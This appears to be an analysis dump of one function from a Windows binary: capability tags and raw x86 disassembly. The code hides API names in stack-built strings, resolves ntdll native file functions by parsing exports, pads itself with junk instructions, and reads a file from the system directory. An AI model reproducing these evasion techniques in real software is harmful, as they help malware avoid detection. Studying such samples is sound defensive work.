Function at 0x1004e640
Capabilities:
Contain obfuscated stackstrings
Get common file path
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xeb8
mov eax, dword [0x100c2d54]
xor eax, esp
mov dword [esp + 0xeb4], eax
mov eax, dword [esp + 0xec0]
push ebx
push esi
mov esi, dword [esp + 0xec4]
push edi
mov dword [esp + 0x54], eax
mov eax, eax
test eax, 0x7be1
xor ebx, ebx
mov dword [eax], ebx
mov ebx, ebx
push 0x5c
push esi
call fcn.1005fef0
add esp, 8
test eax, eax
jne 0x1004e6f1
push 0x200
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov al, al
lea edi, [esp + 0xc0]
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x1004e6a4
mov cx, word [0x10083874]
mov word [edi], cx
mov bl, bl
mov eax, esi
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x1004e6c0
lea edi, [esp + 0xc0]
sub eax, esi
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x1004e6d5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
test bh, bh
jmp 0x1004e70e
lea edx, [esp + 0xc0]
mov eax, esi
sub edx, esi
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
cmp cl, bl
jne 0x1004e700
mov bl, bl
mov cl, 0x6c
push ebp
mov byte [esp + 0x64], 0x6e
mov byte [esp + 0x65], 0x74
mov byte [esp + 0x66], 0x64
mov byte [esp + 0x67], cl
mov byte [esp + 0x68], cl
mov byte [esp + 0x69], 0x2e
mov byte [esp + 0x6a], 0x64
mov byte [esp + 0x6b], cl
mov byte [esp + 0x6c], cl
mov byte [esp + 0x6d], bl
mov dl, dl
mov al, 0x65
mov dl, 0x69
mov byte [esp + 0x84], 0x5a
mov byte [esp + 0x85], 0x77
mov byte [esp + 0x86], 0x43
mov byte [esp + 0x87], 0x72
mov byte [esp + 0x88], al
mov byte [esp + 0x89], 0x61
mov byte [esp + 0x8a], 0x74
mov byte [esp + 0x8b], al
mov byte [esp + 0x8c], 0x46
mov byte [esp + 0x8d], dl
mov byte [esp + 0x8e], cl
mov byte [esp + 0x8f], al
mov byte [esp + 0x90], bl
push ebx
pop ebx
mov byte [esp + 0xac], 0x5a
mov byte [esp + 0xad], 0x77
mov byte [esp + 0xae], 0x51
mov byte [esp + 0xaf], 0x75
mov byte [esp + 0xb0], al
mov byte [esp + 0xb1], 0x72
mov byte [esp + 0xb2], 0x79
mov byte [esp + 0xb3], 0x49
mov byte [esp + 0xb4], 0x6e
mov byte [esp + 0xb5], 0x66
mov byte [esp + 0xb6], 0x6f
mov byte [esp + 0xb7], 0x72
mov byte [esp + 0xb8], 0x6d
mov byte [esp + 0xb9], 0x61
mov byte [esp + 0xba], 0x74
mov byte [esp + 0xbb], dl
mov byte [esp + 0xbc], 0x6f
mov byte [esp + 0xbd], 0x6e
mov byte [esp + 0xbe], 0x46
mov byte [esp + 0xbf], dl
mov byte [esp + 0xc0], cl
mov byte [esp + 0xc1], al
mov byte [esp + 0xc2], bl
push ecx
pop ecx
mov byte [esp + 0x70], 0x5a
mov byte [esp + 0x71], 0x77
mov byte [esp + 0x72], 0x52
mov byte [esp + 0x73], al
mov byte [esp + 0x74], 0x61
mov byte [esp + 0x75], 0x64
mov byte [esp + 0x76], 0x46
mov byte [esp + 0x77], dl
mov byte [esp + 0x78], cl
mov byte [esp + 0x79], al
mov byte [esp + 0x7a], bl
mov dl, dl
mov byte [esp + 0x7c], 0x5a
mov byte [esp + 0x7d], 0x77
mov byte [esp + 0x7e], 0x43
mov byte [esp + 0x7f], cl
mov byte [esp + 0x80], 0x6f
mov byte [esp + 0x81], 0x73
mov byte [esp + 0x82], al
mov byte [esp + 0x83], bl
push eax
pop eax
mov byte [esp + 0x94], 0x52
mov byte [esp + 0x95], 0x74
mov byte [esp + 0x96], cl
mov byte [esp + 0x97], 0x49
mov byte [esp + 0x98], 0x6e
mov byte [esp + 0x99], dl
mov byte [esp + 0x9a], 0x74
mov byte [esp + 0x9b], 0x55
mov byte [esp + 0x9c], 0x6e
mov byte [esp + 0x9d], dl
mov byte [esp + 0x9e], 0x63
mov byte [esp + 0x9f], 0x6f
mov byte [esp + 0xa0], 0x64
mov byte [esp + 0xa1], al
mov byte [esp + 0xa2], 0x53
mov byte [esp + 0xa3], 0x74
mov byte [esp + 0xa4], 0x72
mov byte [esp + 0xa5], dl
mov byte [esp + 0xa6], 0x6e
mov byte [esp + 0xa7], 0x67
mov byte [esp + 0xa8], bl
xchg ebx, eax
xchg ebx, eax
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
mov cl, cl
lea eax, [esp + 0x84]
push eax
push esi
call fcn.1004e420
add esp, 8
mov ebp, eax
test al, al
lea ecx, [esp + 0xac]
push ecx
push esi
call fcn.1004e420
add esp, 8
mov dword [esp + 0x60], eax
mov al, al
lea edx, [esp + 0x70]
push edx
push esi
call fcn.1004e420
add esp, 8
mov dword [esp + 0x5c], eax
test dl, dl
lea eax, [esp + 0x7c]
push eax
push esi
call fcn.1004e420
add esp, 8
mov dword [esp + 0x54], eax
mov edi, edi
lea ecx, [esp + 0x94]
push ecx
push esi
call fcn.1004e420
add esp, 8
mov dword [esp + 0x7c], eax
mov ecx, ecx
xor eax, eax
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
test eax, 0x199
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
push ecx
pop ecx
mov dword [esp + 0x10], ebx
mov dl, dl
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov ch, ch
mov ecx, ecx
test al, al
test eax, 0x2677
mov ecx, 0x5c
mov eax, 0x3f
mov word [esp + 0x70], cx
mov word [esp + 0x72], ax
mov word [esp + 0x74], ax
mov word [esp + 0x76], cx
mov word [esp + 0x78], bx
mov edx, edx
push 0x400
lea edx, [esp + 0x2c8]
push ebx
push edx
call fcn.1005e5f0
add esp, 0xc
push ecx
pop ecx
lea eax, [esp + 0xc4]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x1004ea80
push 0x200
lea ecx, [esp + 0x2c8]
push ecx
sub eax, esi
push eax
lea edx, [esp + 0xd0]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, edx
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [esp + eax + 0x70]
mov word [esp + eax + 0x6c4], cx
add eax, 2
cmp cx, bx
jne 0x1004eab0
mov bl, bl
lea eax, [esp + 0x2c4]
mov esi, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x1004ead0
lea edi, [esp + 0x6c4]
sub eax, esi
add edi, 0xfffffffe
jmp 0x1004eaf0
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x1004eaf0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
lea eax, [esp + 0x6c4]
push eax
lea ecx, [esp + 0x20]
push ecx
call dword [esp + 0x84]
mov esi, esi
lea edx, [esp + 0x1c]
mov dword [esp + 0x24], 0x18
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], 0x40
mov dword [esp + 0x2c], edx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov esi, esi
push ebx
push ebx
push 0x20
push 1
push 1
push 0x80
push ebx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x100001
lea edx, [esp + 0x38]
push edx
call ebp
nop
cmp eax, ebx
pop ebp
jl 0x1004eb9c
mov edx, dword [esp + 0xc]
push 5
push 0x18
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [esp + 0x70]
test eax, 0x5237
cmp eax, ebx
jge 0x1004ebb6
mov eax, dword [esp + 0xc]
push eax
call dword [esp + 0x54]
mov ah, ah
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0xeb4]
xor ecx, esp
call fcn.1005df84
add esp, 0xeb8
ret
mov ecx, dword [esp + 0x40]
push ecx
call fcn.1005da00
add esp, 4
mov esi, eax
test eax, eax
cmp esi, ebx
mov edx, dword [esp + 0xc]
jne 0x1004ebf0
push edx
call dword [esp + 0x54]
mov ah, ah
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0xeb4]
xor ecx, esp
call fcn.1005df84
add esp, 0xeb8
ret
mov eax, dword [esp + 0x40]
push ebx
push ebx
push eax
push esi
lea ecx, [esp + 0x20]
push ecx
push ebx
push ebx
push ebx
push edx
call dword [esp + 0x7c]
mov edi, edi
cmp eax, ebx
jge 0x1004ec3e
push esi
call fcn.1005dac3
add esp, 4
mov dl, dl
mov eax, dword [esp + 0xc]
push eax
call dword [esp + 0x54]
test eax, 0x3a2d
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0xeb4]
xor ecx, esp
call fcn.1005df84
add esp, 0xeb8
ret
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x54]
mov dword [edx], ecx
test eax, 0x5e2d
mov eax, dword [esp + 0xc]
push eax
call dword [esp + 0x54]
test dl, dl
mov ecx, dword [esp + 0xec0]
pop edi
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.1005df84
add esp, 0xeb8
ret